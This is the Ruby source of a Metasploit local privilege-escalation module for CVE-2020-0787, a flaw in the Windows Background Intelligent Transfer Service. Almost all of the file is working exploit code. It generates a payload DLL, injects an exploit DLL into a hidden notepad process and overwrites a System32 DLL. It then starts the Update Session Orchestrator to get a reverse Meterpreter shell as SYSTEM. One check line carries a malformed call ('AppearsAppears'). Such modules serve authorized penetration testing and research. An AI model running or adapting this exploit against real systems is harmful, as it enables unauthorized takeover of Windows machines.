# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE # Needed for generate_payload_dll
include Msf::Post::Windows::FileSystem
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Background Intelligent Transfer Service Arbitrary
File Move Privilege Elevation Vulnerability',
'Description' => %q{
This module exploits CVE-2020-0787, an arbitrary file move
vulnerability in outdated versions of the
Background Intelligent Transfer Service (BITS), to overwrite
C:\Windows\System32\WindowsCoreDeviceInfo.dll
with a malicious DLL containing the attacker's payload.
To achieve code execution as the SYSTEM user, the Update Session
Orchestrator service is then started, which
will result in the malicious WindowsCoreDeviceInfo.dll being run
with SYSTEM privileges due to a DLL hijacking
issue within the Update Session Orchestrator Service.
Note that presently this module only works on Windows 10 and
Windows Server 2016 and later as the
Update Session Orchestrator Service was only introduced in Windows
10. Note that only Windows 10 has been tested,
so your mileage may vary on Windows Server 2016 and later.
},
'License' => MSF_LICENSE,
'Author' =>
[
'itm4n', # PoC
'gwillcox-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Privileged' => true,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-03-10',
'References' =>
[
['CVE', '2020-0787'],
['URL',
'https://itm4n.github.io/cve-2020-0787-windows-bits-eop/'],
['URL', 'https://github.com/itm4n/BitsArbitraryFileMove'],
['URL',
'https://attackerkb.com/assessments/e61cfec0-d766-4e7e-89f7-5aad2460afb8'],
['URL',
'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'],
['URL', 'https://itm4n.github.io/usodllloader-part1/'],
['URL', 'https://itm4n.github.io/usodllloader-part2/'],
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 900
}
)
)
register_options([
OptBool.new('OVERWRITE_DLL', [true, 'Overwrite
WindowsCoreDeviceInfo.dll if it exists (false by default).',
false]),
OptInt.new('JOB_WAIT_TIME', [true, 'Time to wait for the BITS job
to complete before starting the USO service to execute the uploaded
payload, in seconds', 20])
])
end
def target_not_presently_supported
print_warning('This target is not presently supported by this
exploit. Support may be added in the future!')
print_warning('Attempts to exploit this target with this module
WILL NOT WORK!')
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe('Target is not a Windows system, so it is
not affected by this vulnerability!')
end
# XXX Using session.shell_command_token over cmd_exec() here as
@wvu-r7 noticed cmd_exec() was broken under some situations.
build_num_raw = session.shell_command_token('cmd.exe /c ver')
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
if build_num.nil?
print_error("Couldn't retrieve the target's build number!")
else
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
print_status("Target's build number: #{build_num}")
end
# see
https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~
/(7|8|8\.1|10|2008|2012|2016|2019|1803|1903)/
return CheckCode::Safe('Target is not running a vulnerable version
of Windows!')
end
build_num_gemversion = Gem::Version.new(build_num)
# Build numbers taken from
https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
if (build_num_gemversion >= Gem::Version.new('10.0.18363.0'))
&& (build_num_gemversion <
Gem::Version.new('10.0.18363.719')) # Windows 10 v1909
return CheckCode::Appears('Vulnerable Windows 10 v1909 build
detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0'))
&& (build_num_gemversion <
Gem::Version.new('10.0.18362.719')) # Windows 10 v1903
return CheckCode::Appears('Vulnerable Windows 10 v1903 build
detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0'))
&& (build_num_gemversion <
Gem::Version.new('10.0.17763.1098')) # Windows 10 v1809
return CheckCode::Appears('Vulnerable Windows 10 v1809 build
detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0'))
&& (build_num_gemversion <
Gem::Version.new('10.0.17134.1365')) # Windows 10 v1803
return CheckCode::Appears('Vulnerable Windows 10 v1803 build
detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.16299.0'))
&& (build_num_gemversion <
Gem::Version.new('10.0.16299.1747')) # Windows 10 v1709
return CheckCode::Appears('Vulnerable Windows 10 v1709 build
detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.15063.0'))
&& (build_num_gemversion <
Gem::Version.new('10.0.15063.2313')) # Windows 10 v1703
return CheckCode::Appears('Vulnerable Windows 10 v1703 build
detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.14393.0'))
&& (build_num_gemversion <
Gem::Version.new('10.0.14393.3564')) # Windows 10 v1607
return CheckCode::Appears('Vulnerable Windows 10 v1607 build
detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.10586.0'))
&& (build_num_gemversion <
Gem::Version.new('10.0.10586.9999999')) # Windows 10 v1511
return CheckCode::Appears('Vulnerable Windows 10 v1511 build
detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.10240.0'))
&& (build_num_gemversion <
Gem::Version.new('10.0.10240.18519')) # Windows 10 v1507
return CheckCode::Appears('Vulnerable Windows 10 v1507 build
detected!')
elsif (build_num_gemversion >= Gem::Version.new('6.3.9600.0'))
&& (build_num_gemversion <
Gem::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server
2012 R2
target_not_presently_supported
return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server
2012 R2 build detected!')
elsif (build_num_gemversion >= Gem::Version.new('6.2.9200.0'))
&& (build_num_gemversion <
Gem::Version.new('6.2.9200.23009')) # Windows 8/Windows Server
2012
target_not_presently_supported
return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows
Server 2012 build detected!')
elsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0'))
&& (build_num_gemversion <
Gem::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008
R2
target_not_presently_supported
return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008
R2 build detected!')
elsif (build_num_gemversion >= Gem::Version.new('6.0.6001.0'))
&& (build_num_gemversion <
Gem::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows
Server 2008 SP2
target_not_presently_supported
return CheckCode::Appears('Windows Server 2008/Windows Server 2008
SP2 build detected!')
else
return CheckCode::Safe('The build number of the target machine does
not appear to be a vulnerable version!')
end
end
def check_target_is_running_supported_windows_version
if sysinfo['OS'].match('Windows').nil?
fail_with(Failure::NotVulnerable, 'Target is not running
Windows!')
elsif sysinfo['OS'].match('Windows 10').nil? &&
sysinfo['OS'].match('Windows Server 2016').nil? &&
sysinfo['OS'].match('Windows Server 2019').nil?
fail_with(Failure::BadConfig, 'Target is running Windows, its not a
version this module supports! Bailing...')
end
end
def
check_target_and_payload_match_and_supported(client_arch)
if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)
fail_with(Failure::BadConfig, 'This exploit currently only supports
x86 and x64 targets!')
end
payload_arch = payload.arch.first # TODO: Add missing documentation
for payload.arch, @wvu used this first but it is not documented
anywhere.
if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)
fail_with(Failure::BadConfig, "Unsupported payload architecture
(#{payload_arch})") # Unsupported architecture, so return an
error.
end
if ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) ||
((client_arch == ARCH_X86) && (payload_arch != ARCH_X86))
fail_with(Failure::BadConfig, "Payload architecture
(#{payload_arch}) doesn't match the architecture of the target
(#{client_arch})!")
end
end
def check_windowscoredeviceinfo_dll_exists_on_target
# Taken from bwatters-r7's cve-2020-0688_service_tracing.rb
code.
#
# We are going to overwrite the WindowsCoreDeviceInfo.dll DLL as
part of our exploit.
# The second part of this exploit will trigger a Update Session to
be created so that this DLL
# is loaded, which will result in arbitrary code execution as
SYSTEM.
#
# To prevent any errors, we will first check that this file doesn't
exist and ask the user if they are sure
# that they want to overwrite the file.
win_dir = session.sys.config.getenv('windir')
normal_target_payload_pathname =
"#{win_dir}\\System32\\WindowsCoreDeviceInfo.dll"
wow64_target_payload_pathname =
"#{win_dir}\\Sysnative\\WindowsCoreDeviceInfo.dll"
wow64_existing_file = "#{win_dir}\\Sysnative\\win32k.sys"
if file?(wow64_existing_file)
if file?(wow64_target_payload_pathname)
print_warning("#{wow64_target_payload_pathname} already
exists")
print_warning('If it is in use, the overwrite will fail')
unless datastore['OVERWRITE_DLL']
print_error('Change OVERWRITE_DLL option to true if you would like
to proceed.')
fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname}
already exists and OVERWRITE_DLL option is false")
end
end
target_payload_pathname = wow64_target_payload_pathname
elsif file?(normal_target_payload_pathname)
print_warning("#{normal_target_payload_pathname} already
exists")
print_warning('If it is in use, the overwrite will fail')
unless datastore['OVERWRITE_DLL']
print_error('Change OVERWRITE_DLL option to true if you would like
to proceed.')
fail_with(Failure::BadConfig, "#{normal_target_payload_pathname}
already exists and OVERWRITE_DLL option is false")
end
target_payload_pathname = normal_target_payload_pathname
end
target_payload_pathname
end
def launch_background_injectable_notepad
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil,
'Hidden' => true)
process = client.sys.process.open(notepad_process.pid,
PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
process
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is
denied.
print_error('Operation failed. Trying to elevate the current
process...')
process = client.sys.process.open
process
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
# Step 1: Check target environment is correct.
print_status('Step #1: Checking target environment...')
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
client_arch = sysinfo['Architecture']
check_target_is_running_supported_windows_version
check_target_and_payload_match_and_supported(client_arch)
check_windowscoredeviceinfo_dll_exists_on_target
# Step 2: Generate the malicious DLL and upload it to a temp
location.
print_status('Step #2: Generating the malicious DLL...')
path = ::File.join(Msf::Config.data_directory, 'exploits',
'CVE-2020-0787')
datastore['EXE::Path'] = path
if client_arch =~ /x86/i
datastore['EXE::Template'] = ::File.join(path,
'template_x86_windows.dll')
library_path = ::File.join(Msf::Config.data_directory, 'exploits',
'CVE-2020-0787', 'CVE-2020-0787.x86.dll')
library_path = ::File.expand_path(library_path)
elsif client_arch =~ /x64/i
datastore['EXE::Template'] = ::File.join(path,
'template_x64_windows.dll')
library_path = ::File.join(Msf::Config.data_directory, 'exploits',
'CVE-2020-0787', 'CVE-2020-0787.x64.dll')
library_path = ::File.expand_path(library_path)
end
payload_dll = generate_payload_dll
print_status("Payload DLL is #{payload_dll.length} bytes long")
temp_directory = session.sys.config.getenv('%TEMP%')
malicious_dll_location = "#{temp_directory}\\" +
Rex::Text.rand_text_alpha(6..13) + '.dll'
write_file(malicious_dll_location, payload_dll)
register_file_for_cleanup(malicious_dll_location)
# Step 3: Load the main DLL that will trigger the exploit and
conduct the arbitrary file copy.
print_status('Step #3: Loading the exploit DLL to run the main
exploit...')
process = launch_background_injectable_notepad
print_status("Injecting DLL into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process,
library_path)
dll_info_parameter = malicious_dll_location.to_s
payload_mem = inject_into_process(process, dll_info_parameter)
# invoke the exploit, passing in the address of the payload
that
# we want invoked on successful exploitation.
print_status('DLL injected. Executing injected DLL...')
process.thread.create(exploit_mem + offset, payload_mem)
print_status("Sleeping for #{datastore['JOB_WAIT_TIME']} seconds
to allow the exploit to run...")
sleep datastore['JOB_WAIT_TIME']
register_file_for_cleanup('C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll')
# Register this file for cleanup so that if we fail, then the file
is cleaned up.
# Normally we can't delete this file though as there will be a
SYSTEM service that has a handle to this file.
print_status("Starting the interactive scan job...")
# Step 4: Execute `usoclient StartInteractiveScan` to trigger the
payload
# XXX Using session.shell_command_token over cmd_exec() here as
@wvu-r7 noticed cmd_exec() was broken under some situations.
session.shell_command_token('usoclient StartInteractiveScan')
print_status("Enjoy the shell!")
end
end

